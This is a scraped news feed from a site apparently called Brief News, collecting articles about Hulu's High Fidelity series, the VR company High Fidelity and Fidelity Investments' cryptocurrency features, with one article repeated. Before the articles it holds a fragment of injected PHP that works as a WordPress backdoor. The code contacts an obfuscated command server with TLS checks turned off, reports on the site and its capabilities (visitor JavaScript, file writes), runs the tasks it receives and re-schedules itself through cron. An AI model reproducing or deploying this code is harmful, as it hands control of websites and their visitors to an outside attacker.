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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Fidelity – Brief News https://briefnews.eu Latest World News. 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Can a TV series adaptation of a film based on a book reignite the same sparks as its source material? With a lead as strong as Zoë Kravitz, the answer would seem to be yes.

Hulu’s High Fidelity series released on Friday (all 10 episodes) and it’s the perfect counter-programming for a month filled with candy hearts and mushy rom-coms. Developed for TV by Bull‘s Veronica West and Sarah Kucserka, with Questlove on as an executive music producer (the music’s obviously dope), the series tells the story of Rob (played by Kravitz), a record store owner and Brooklynite who’s trying to get over her past relationships through the lens of her favorite records. At the top of the premiere episode, Rob wastes no time, teasing us through tears: “My desert island all-time top 5 most memorable heartbreaks in chronological order are as follows….”

Throughout the course of the episode, Rob breaks down her love life à la John Cusack in the 2000 movie. No. 1 was Kevin Banister, a boy from her youth; the love was unrequited when he started dated another girl in school. No. 2 was a woman named Kat Monroe who was “real cool, like true cool,” but that ended after Kat cheated on her.  No. 3: Simon Miller. The two bonded over Radio Stars’ “The Real Me” and their love of music. (“The things that you like are as important, no, more important than what you are like,” he regaled.) Simon turned out to be gay, but the two remain friends and he now works in her record shop.

No. 4 was Justin Kit, a stand-up comic and fan of Eminem, Linkin Park and Dave Mathews Band, which causes Rob to retort: “…so yeah, he was kind of an asshole.” He had a girlfriend, so while everything done in secret was exciting, it became less so when the two officially got together. “In retrospect, we were both kind of assholes,” admits Rob.

And coming in at No. 5, the guy Rob is currently spilling tears over: Russell “Mac” McCormack. “Congratulations, you’ve made it to the Top 5, Mac. No. 5, with a bullet,” she utters.

Rob convinces herself that dating is what she should do, that she’s totally fine. Yet when we cut to an actual date, she deadpans to the camera: “I’m not fine, I’m not ready, this is totally f–ked.” She tries to ghost the poor guy, Clyde, only she forgets her phone at the table. Begrudgingly, she goes back inside the bar, where she accidentally knocks over her drink and Clyde adorably, purposely knocks his over too, to settle her nerves. The two discuss the importance of Fleetwood Mac, weighing Rumours against Tusk (bless them), and wind up going home together: Rebound Achievement, Unlocked!

They agree to go to breakfast in the morning only he’s nowhere to be found when she gets up. (“And this, ladies and gentleman, is why you don’t get back on the f–king horse.”) Clyde comes back later to find his phone he left at her place. Turns out, he chased a tow truck and had to go to work, and couldn’t call to explain.

Rob then explains how not to plan a career. “1. Split up with girlfriend. 2. Ditch college. 3. Go to work in struggling record shop. 4. Become owner of said record shop and stay there for rest of life, and 5. Well, there is no five.” We also get the low-down on the store’s only Yelp review (“Decently curated cuts, unpretentious location, owner’s a little rude — 2.5 stars.”) while Rob says half the neighborhood thinks they’re washed-up relics, while the other half thinks they’re nostalgic hipsters. “They’re both kind of right,” she supposes.

Before the premiere wraps up, we finally get the skinny on Mac as we’re serenaded by Darondo’s “Didn’t I.” (Seriously, you guys, the music!) Rob and Mac were set up by her brother and it was “lightning bolts, fireworks, electricity, magic, the whole thing,” she says. The two clicked hard and were going to move to London together… until he went without her. But one night, while en route to her date, she runs into Mac. He’s back in town and wants to talk, but a bike messenger runs into her, interrupting their stop-and-chat.

“The ugly truth of the matter is this: If we suddenly heard the world was going to end in 24 hours, the people I would call in the first hour are the obvious,” she says. “I’d be calling them all to apologize for the fact that I would be choosing to spend the next 23 hours with Mac… who’s back.”

The episode ends with Rob reveling in her strange headspace, while jamming out to Ann Peebles’ “I Can’t Stand the Rain.”

What did you think of Kravitz and this High Fidelity redux? Grade the premiere below, then tell us your thoughts! 

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A teaser trailer for Hulu’s High Fidelity finds Zoë Kravitz (Big Little Lies) taking lead on the gender-flipped, 10-episode “departure” from the novel and film of the same name, delivering a helplessly romantic journey through one character’s “desert island, all-time, top five most memorable heartbreaks.”

Releasing all episodes on Friday, Feb. 14, High Fidelity tells the story of Rob (Kravitz), a female record store owner in Crown Heights, Brooklyn, who’s trying to get over her past relationships through the lens of her favorite records and pop culture. In the clip above, Rob recounts the tale of an awkward run-in with her ex, riffing, “You know that scene at the end of Braveheart where they rip all his entrails out and he’s like ‘Freedom!’ but it’s, like, a positive thing, you know, because he like, inspired his people or whatever…? Like that, but without the silver lining.”

In addition to being unlucky in love, Rob, as reminded by coworkers, has a tendency to overthink things. She certainly seems to fit right in with the original movie’s pessimistic-loner vibes topped with dollops of sarcasm. She doesn’t take everything in life seriously, though, as evidenced in her recap of an online review of her store. “‘Decently curated cuts, unpretentious location, owner’s a little rude. Two-and-a-half stars,’” she says with a glint of pleasure in her voice.

Jake Lacy (I’m Dying Up Here) stars opposite of Kravitz along with Da’Vine Joy Randolph, David H. Holmes and Kingsley Ben-Adir.

Nick Hornby initially penned High Fidelity as a novel in 1995. A feature film directed by Stephen Frears followed in 2000, starring John Cusack, Jack Black and Lisa Bonet (Kravitz’s mother).

The series, meanwhile, was penned by Bull‘s Veronica West and Sarah Kuscerka, who serve as EPs alongside Kravitz, Josh Appelbaum, André Nemec, Jeff Pinkner and Scott Rosenberg.

Are you a fan of the beloved Cusack film? How do you think Kravitz will fare? Drop your thoughts below!

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]]> https://briefnews.eu/high-fidelity-teaser-zoe-kravitz-explores-heartbreak-and-humor-through-classic-top-five-lists/feed/ 0 ‘High Fidelity’ is Becoming a Female-Led TV Series on Disney’s Streaming Service https://briefnews.eu/high-fidelity-is-becoming-a-female-led-tv-series-on-disneys-streaming-service/ https://briefnews.eu/high-fidelity-is-becoming-a-female-led-tv-series-on-disneys-streaming-service/#respond Sat, 07 Apr 2018 11:31:38 +0000 http://briefnews.eu/high-fidelity-is-becoming-a-female-led-tv-series-on-disneys-streaming-service/ High Fiedelity TV Series

The forthcoming Disney streaming service isn’t going to launch until sometime in 2019, but the House of Mouse already has plenty of movies and TV shows in development. Most of the programming they’ve planned so far has sounded quite family friendly, but for one of their TV projects, they’re looking at turning an R-rated romantic comedy into a TV series.

The Disney-owned Touchstone Pictures released an adaptation of Nick Hornby’s 1995 novel High Fidelity in 2000 with John Cusack in the lead role as a record store owner looking back at his failed relationships as part of hopefully making his love life a little better as he tries to figure out where he went wrong. Now there will be a High Fidelity TV series created for the Disney streaming service.

Deadline has news of the High Fidelity TV series heading to the yet-to-be named Disney streaming service, but the adaptation will come with some significant changes from the original story. First of all, the project will be gender-swapped to put a female character in the lead role. And rather than having R-rated material, the series will be crafted towards a PG-13 audience.

As for the story, it will still feel like High Fidelity as it focuses on a record store owner breaking the fourth wall and talking to the audience about their past relationships in a personal diary sort of way. And there will still be a prominent love for records and mixtapes as John Cusack’s character had in the film adaptation.

Writing the series will be Veronica West and Sarah Kucserka, who previously worked on Ugly Betty and have the perfect perspective to write High Fidelity from a female perspective. Meanwhile High Fidelity co-writer Scott Rosenberg is producing along with his Midnight Radio cohorts Jeff Pinkner, Josh Appelbaum and Andre Nemec.

Though it might seem easy to merely create female versions of previously established intellectual property, there are plenty of great stories that are made fresh and interesting by telling them from the female perspective. High Fidelity is certainly one of them, especially since the original story follows a character who incessantly whines about his woman troubles without every really taking responsibility for his own shortcomings.

High Fidelity will be one of an estimated five original TV series coming to the Disney streaming service every year, along with four or five original movies. Some of the projects in development include updates of Honey, I Shrunk the Kids, Father of the Bride and The Parent Trap while the TV side will have a new Star Wars series from Jon Favreau, a Monsters Inc. animated series and more. There’s plenty more on the way too, so stay tuned to see what else ends up on the Disney streaming service.

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A gender-flipped version of the 2000 film High Fidelity will be a part of Disney’s upcoming streaming service.

The comedy series, based on Nick Hornby’s novel and the John Cusack film, is in the works at Disney. Bull‘s Veronica West and Sarah Kuscerka are penning the series, which centers on a female record store owner detailing past relationships, our sister site Deadline reports.

Ready for more of today’s newsy nuggets? Well…

* All six seasons of NBC’s Friday Night Lights, as well as full seasons of House, Parks and Recreation and Eureka, are now streaming on Amazon Prime, per Variety.

* Netflix has ordered 10 episodes of Dead to Me, a comedy series from writer Liz Feldman (2 Broke Girls), Will Ferrell (Saturday Night Live) and producer Adam McKay (LA to Vegas) about a friendship between a widow and a free spirit, Variety reports.

* Lorena, a documentary series from Jordan Peele (Key and Peele) about John and Lorena Bobbitt, has gotten the green light from Amazon, according to Variety.

* WGN America has ordered a second season of Pure, a Mennonite crime drama that originally aired in Canada and won’t premiere its first season on the cable channel until next year.

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I’m looking forward to Steven Spielberg’s upcoming film based on Ernest Cline’s virtual reality sci-fi novel Ready Player One. In one scene in that 2011 tome, a group of hackers gather to dance in a virtual night club. They float in the air and bump and grind to pulse-pounding music as a masked DJ looms over the crowd. It was one of many iconic moments about our VR future in the sci-fi novel.

And I got to experience a little taste of that scene yesterday at High Fidelity, Philip Rosedale’s VR world company in San Francisco. Rosedale (who will be a speaker at our upcoming GamesBeat Summit 2018 event; check out our $ 500 indie dev ticket) was the visionary behind Second Life, the online virtual world built by his former company, Linden Lab.

Yes, I went dancing in the dance club in VR, and talked to a bunch of people all at once. I even allowed strangers to touch my avatar in VR so that I could physically feel what it was like to have a sense of touch in the cyber world.

Above: A scene from Spielberg’s upcoming Ready Player One.

Image Credit: Ready Player One

“‘We’re showing this for a little party today, and it’s just the beginning,” said Philip Rosedale, CEO of High Fidelity, in an interview, pointing at the room with a couple of dozen VR headsets and computers. “In a short while, we’ll bring in teachers and a class on a field trip here. We’ll start going on virtual trips with tour guides, so the teacher can take you through the pyramids in Egypt. They could send kids out to look in the environment for a hieroglyphic of a jackal and then come back. This is the start of social VR experiences. Games are fun, but it’s the social experiences that will bring people together and make a lasting impact.”

The experience felt real, as the movements of the real dancers were in sync with their virtual characters. High Fidelity made it possible by bringing down the latency, or interaction delays, to about a tenth of a second. The quick interaction, combined with the lights and the sound of music and voices, made the dancing experience more believable in VR, Rosedale said.

High Fidelity, which has 50 people working in San Francisco, has created a collection of VR spaces than a continuous world, like Second Life. But it will grow over time as the community members create more content and High Fidelity starts to launch the full version of the world later this year.

Yesterday, we just got a small sneak peek. I joined a number of other journalists on the dance floor to try it out in a room where a bunch of the VR machines were all networked together.

Above: Dancers in High Fidelity.

Image Credit: Dean Takahashi

We donned Oculus Rift VR headsets and were transported to the balcony above the dance floor. Rosedale joined us with his own silver-haired avatar. He showed me how to walk using the Oculus Touch controllers, or how to teleport around the room. When I spoke, my Avatar’s lips moved. We walked downstairs to the multicolored tiles on the floor, where a bunch of other dancers were making fancy moves.

We saw a dancer floating in the air, like they do in Ready Player One. And we saw a dancer upside down, defying gravity, walking on the bottom of a crystal disco ball. We gathered around Rosedale and struggled to listen to him amid the dance music. But I could hear him. The audio seemed to come from different directions, but I had trouble identifying which avatar was talking until I saw the avatar’s lips move in sync with the voice.

High Fidelity brought in a half-dozen dancers and equipped them with HTC Vive VR headsets. They also had Vive Trackers, or sensors that were attached to their legs, hips, and backs. Those sensors captured their full body movements, and High Fidelity translated those moves into much better action on the dance floor. I could only wave my arms around, but those dancers were moving everything.

Above: The place where I interviewed Flash.

Image Credit: High Fidelity

The virtual dance club, dubbed Rust, was designed by one of High Fidelity’s community members. It had disco lights and a DJ in real life named Tha Phlash, one of the top DJs on Periscope. He had his own avatar, or virtual character, with a huge fiberglass-like head. When he spoke, his avatar’s lips moved, and he encouraged everybody to start dancing to his blaring hip-hop music.

In a quiet place dubbed the Oasis, I interviewed Tha Phlash, and it was the first such interview I did in VR. His hope is to make money through tips from other virtual visitors.

“This world is already here,” The Phlash said. “I’m all about bringing people into new experiences and making them happy.”

Above: Philip Rosedale (left) of High Fidelity and Jeremy Bailenson of Stanford.

Image Credit: Dean Takahashi

“You can test a lot of things in VR to see how they compare to real life,” said Jeremy Bailenson, a VR expert and communications professor at Stanford University, in an interview. “You can get up close to someone and violate that by about ten centimeters and see how that feels. If you mimic someone non-verbally, like in dancing, they notice you more and like you more. Here, in VR, you could do that with 20 people.”

Bailenson just published a book, Experience on Demand: What virtual reality is, how it works, and what it can do. It’s about all of the ways that VR will blur the lines between illusion and reality. He said he looked forward to all of the educational applications of VR.

“When you start bringing groups of students in here, I want to be there,” Bailenson said. “It’s maddening that all of the other environments force the students to be in different places, not in the same place.”

Rosedale looks forward to VR places where you can travel to places like the Caves of Lascaux in France, where ancient cave drawings have been preserved but are no longer accessible to the public for preservation purposes.

Above: A haptic suit enables Wade to feel touch in the Ready Player One trailer.

Image Credit: Ready Player One

High Fidelity still has a lot of work to do. Our avatars were bumping into each other in VR, and sometimes they were all stacked together in the same place, with arms and legs of different avatars combined in so-called “clipping” computer art problems. But over time, proper physics simulations and other fixes will make the experiences feel more realistic.

“I’ve been in this for 20 years, and to me it feels like we’re seeing so much progress,” Bailenson said.

The virtual touch experience was weird, and it was reminiscent of the first Ready Player One trailer. David Eagleman, the founder of NeoSensory, brought a couple of “haptic vests” to the High Fidelity event to show off what they could do. I donned one of the vests, which was a fairly tight fit for me, and went into the world with another journalist.

We spent some time touching each other, and I could feel the sensations of touch on my torso and back via the haptic sensors on the vest. It was a buzzing sort of feeling. Now I know where your dirty mind is going, like this is a precursor to virtual sex. But my mind wasn’t going there. I was just laughing the whole time at the sense of touch.

Above: A woman wears NeoSensory’s haptic vest. When someone touches her in VR, the suit’s sensors light up.

Image Credit: Dean Takahashi

After I got out of it, Bailenson said that over time, you’ll be able to hire people who are experts at moving your body around, such as dance gyrations, and you can concentrate on things like talking to people. It will be one more aspect of a vast virtual economy, and it will be fun because it will be more intimate.

“You can build more trust, by touching someone on the shoulder,” Bailenson said. “The difference is you can scale it up and touch 20 shoulders at once. If someone shakes your hand tightly, you can respond with mimicry, and squeeze their hand hard.”

Is it Ready Player One? Not yet. It doesn’t look nearly as good, and the avatars have a long way to go before they’d be considered realistic. But as Rosedale said, it’s a beginning.

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In the Fidelity Insight of the week, Silverstein speaks with Denise Chisholm, a sector strategist for Fidelity Investments. Chisholm talks about earnings growth, noting that the US market was in a corporate profit recession from 2013 to 2016, which she attributes to a defensive rotation. She says that cyclical sector outperformance will remain a key theme in 2018. Chisholm highlights a continued decline in the dollar, which she says will boost corporate profit growth and lead to accelerated inflation.

She also notes that economically sensitive sectors tend to outperform with higher rates, even though a lot of investors think higher rates are bad for growth. Chisholm goes on to say that, based on past instances of tax reform, it will be good for cyclical stocks, like tech, consumer discretionary, energy, industrials, financials, materials and REITs. 

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Fidelity is testing out a new service to help make life easier for its clients who invest in cryptocurrencies. 

The $ 2.3 trillion investor announced on Wednesday a partnership between its Fidelity Labs, the firm’s innovation center, and Coinbase, the cryptocurrency exchange serving nearly 9 million customers. 

As part of the partnership, Coinbase users will be able to view their bitcoin, ethereum, and litecoin holdings alongside their other accounts in their Fidelity Portfolio.

The company told Business Insider it’s not entirely sure how many of its users will benefit from the service, but that’s the whole point of the trial. 

“We are trying to create the best customer experience,” Hadley Stern, managing director at Fidelity Labs, told Business Insider.”When we allowed customers to donate bitcoin to our charitable fund we were unsure about how many people would do it, but it played out well.”

Donations made in bitcoin to Fidelity Charitable, a $ 16 billion donor-advised philanthropic fund, grew to about $ 9 million in the first half of 2017. That’s about $ 2 million more than what bitcoin donors contributed in all of 2016.

Fidelity’s CEO Abigail Johnson is a bitcoin enthusiast. In May, The Wall Street Journal reported that Johnson voiced her support of the cryptocurrency in a speech at a conference hosted by CoinDesk, a cryptocurrency news site.

“Some of you might be wondering: Why am I here today?” Johnson said, according to the Journal.”I’m here because I love this stuff… all that the future might hold.”

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Fidelity Investments announced in May that it would soon let its clients view their bitcoin and other cryptocurrency balances on its website, provided it was stored on Coinbase. Embracing unregulated cryptocoins was seen as a bold move by the brokerage company, and certainly uncommon among financial institutions. Today, Fidelity made good on its promise: Once users authorize the site to access their data from Coinbase, they can check their bitcoin savings.

Fidelity held a trial with its own employees first before launching this initiative. The company’s CEO Abigail Johnson has repeatedly affirmed her belief in cryptocurrencies, and previously claimed that even the Fidelity cafeteria accepts bitcoins. But it’s also an attempt to glean more info on how clients keep cryptocurrencies behave.

“This is an experiment in the spirit of learning what these crypto assets are like and how our customers may want to interact with them,” Hadley Stern, senior vice president and managing director at Fidelity Labs, told Reuters in an interview.

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Fidelity is testing out a new service to help make life easier for its clients who invest in cryptocurrencies. 

The $ 2.3 trillion investor announced on Wednesday a partnership between its Fidelity Labs, the firm’s innovation center, and Coinbase, the cryptocurrency exchange serving nearly 9 million customers. 

As part of the partnership, Coinbase users will be able to view their bitcoin, ethereum, and litecoin holdings alongside their other accounts in their Fidelity Portfolio.

The company told Business Insider it’s not entirely sure how many of its users will benefit from the service, but that’s the whole point of the trial. 

“We are trying to create the best customer experience,” Hadley Stern, managing director at Fidelity Labs, told Business Insider.”When we allowed customers to donate bitcoin to our charitable fund we were unsure about how many people would do it, but it played out well.”

Donations made in bitcoin to Fidelity Charitable, a $ 16 billion donor-advised philanthropic fund, grew to about $ 9 million in the first half of 2017. That’s about $ 2 million more than what bitcoin donors contributed in all of 2016.

Fidelity’s CEO Abigail Johnson is a bitcoin enthusiast. In May, The Wall Street Journal reported that Johnson voiced her support of the cryptocurrency in a speech at a conference hosted by CoinDesk, a cryptocurrency news site.

“Some of you might be wondering: Why am I here today?” Johnson said, according to the Journal.”I’m here because I love this stuff… all that the future might hold.”

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